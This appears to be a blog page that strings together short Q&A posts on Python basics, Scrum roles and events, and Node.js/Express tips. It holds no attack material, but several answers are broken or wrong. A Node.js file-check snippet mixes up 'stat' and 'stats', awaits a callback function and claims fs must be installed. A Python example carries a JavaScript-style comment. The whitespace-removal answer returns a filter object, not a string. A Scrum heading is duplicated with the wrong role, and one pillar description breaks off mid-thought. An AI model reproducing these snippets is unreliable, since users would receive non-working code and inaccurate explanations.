re.search(r"[0-9a-zA-Z.]+@[a-zA-Z]+\.(com|co\.in)$","myemail@domain.com")



Question: What is pass in Python?
pass is no-operation Python statement and used to indicate nothing to be done.

Question: What is iterators?
iterators is used iterate over a group of elements, containers, like list


Question: What is slicing in Python?
Slicing is a mechanism to select a range of items from Sequence types like strings, list, tuple, etc.


Question: What is docstring in Python?
Python documentation string is a way of documenting Python modules, functions, classes. PEP 257 standardize the high-level structure of docstrings.


Question: Name few modules that are included in python by default?
  1. datetime
  2. re (regular expressions)
  3. string
  4. itertools
  5. ctypes
  6. email
  7. xml
  8. logging
  9. os
  10. subprocess


Question: What is list comprehension?
Creating a list by doing some operation over data that can be accessed using an iterator.
>>>[ord(i) for i in string.ascii_uppercase]
     [65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90]
 >>>



Question: What is map?
MAP executes the function given as the first argument on all the elements of the iterable given as the second argument.


Question: What is the difference between a tuple and a list?
A tuple is immutable i.e. can not be changed. It can be operated on only.
List is mutable. Changes can be done internally to it.


Question: How to Remove white spaces from string?
filter(lambda x: x != ' ', s)




Question: What are metaclasses in Python?
A metaclass is the class of a class.
A class defines how an instance of the class (i.e. object) behaves while a metaclass defines how a class behaves. A class is an instance of a metaclass.



Question: How do I check whether a file exists without exceptions?
os.path.isfile("/etc/password.txt");//true




Question: How to call an external command?
import subprocess
subprocess.run(["ls", "-l"])

Scrum Tutorial - part 1


Scrum Tutorial - part 1

Question: What is Scrum?
Scrum is an agile framework which is used for developing, delivering the software products.
Now its also used in other fields like research, sales and marketing.


Question: Who is Scrum team?
  1. Product owner:
    The Product Owner is responsible for maximising the value of the product resulting from work of the Development Team.
  2. Developers:
    The Development Team consists of professionals who do the work.
  3. Scrum Master:
    The Scrum Master is responsible for promoting and supporting Scrum as defined in the Scrum Guide.



Question: What are uses of Scrum?
  1. Research and identify viable markets, technologies, and product capabilities
  2. Develop products and enhancements
  3. Develop and sustain Cloud (online, secure, on-demand) and other operational environments for product
  4. Maintain products



Question: What are 3 pillars of Scrum?
  1. Transparency
    What task have done and what are pending and what team are doing will be visible to the Scrum team members and stockholder of product.
  2. Inspection
    Scrum users must frequently inspect Scrum artifacts and progress.
  3. Adaptation
    If an inspector determines that one or more aspects, then that can be taken.



Question: What are events of scrum?
  1. Sprint Planning
  2. Daily Scrum
  3. Sprint Review
  4. Sprint Retrospective



Question: What are Scrum Master Service to the Product Owner?
  1. Finding techniques for effective Product Backlog management
  2. Helping the Scrum Team understand the need for clear and concise items
  3. Ensuring the Product Owner knows how to arrange the Product Item to maximize value
  4. Facilitating Scrum events as requested or needed.
  5. Ensuring that goals, scope, and product domain are understood by everyone on the Scrum Team



Question: What are Scrum Master Service to the Product Owner?
  1. Removing impediments to the Development Team’s progress
  2. Coaching the Development Team in self-organization and cross-functionality
  3. Facilitating Scrum events as requested or needed
  4. Coaching the Development Team
  5. Helping the Development Team to create high-value products



Question: What are Scrum Master Service to the Organisation?
  1. Causing change that increases the productivity of the Scrum Team
  2. Leading and coaching the organisation in its Scrum adoption
  3. Planning Scrum implementations within the organisation
  4. Helping employees and stakeholders




Wednesday 22 July 2020

How to determine a user's IP address in node


How to determine a user's IP address in node
Question: How to determine a user's IP address in node?
We can use request.connection.remoteAddress to detect the IP Address in node but sometimes server is running behind the load balancer, In this case we need to check for x-forwarded-for

Example
exports.check_node = function(req, res) {
    var ip = req.headers['x-forwarded-for'] || 
     req.connection.remoteAddress || 
     req.socket.remoteAddress ||
     (req.connection.socket ? req.connection.socket.remoteAddress : null);
    
    res.json({ip:ip});
};




Question: How can I use wait In Node.js?
You can use setTimeout function similar to javascript

Example
function function1() {    
    console.log('Welcome to My Console,');
}

function function2() {    
    console.log('Console2');
}

setTimeout(function2, 3000); //call second
function1(); //Call first



Question: Command to remove all npm modules in windows?
  1. Remove module local
    Go to directory with name of node_modules under current project. DELETE all the folder.
  2. C:\Users\DELL\AppData\Roaming\npm\node_modules
    Delete all the files



Question: Node.js check if path is file or directory?
For this, you need to install the fs module.
var fs = require('fs');
stat = await fs.lstat(PATH_HERE)
stats.isFile()
stats.isDirectory()
stats.isBlockDevice()
stats.isCharacterDevice()
stats.isSocket()



Question: What is use of app.use in express?
app.use is a method to configure the middleware used by Express.


Question: Difference between process.stdout.write and console.log?
console.log() calls process.stdout.write with formatted output.
console.log() explains in library
console.log = function (d) {
  process.stdout.write(d + '\n');
};



Question: How to Detect if file called through require or directly by command line?
if (require.main === module) {
    console.log('called directly');
} else {
    console.log('required as a module');
}



Question: What is the use of next() in express?
It passes control to the next matching route.
For Example:
app.get('/user/:id?', function(req, res, next){
    var id = req.params.id;
    if (id) {
        // do something
    } else {
        next(); 
    }
});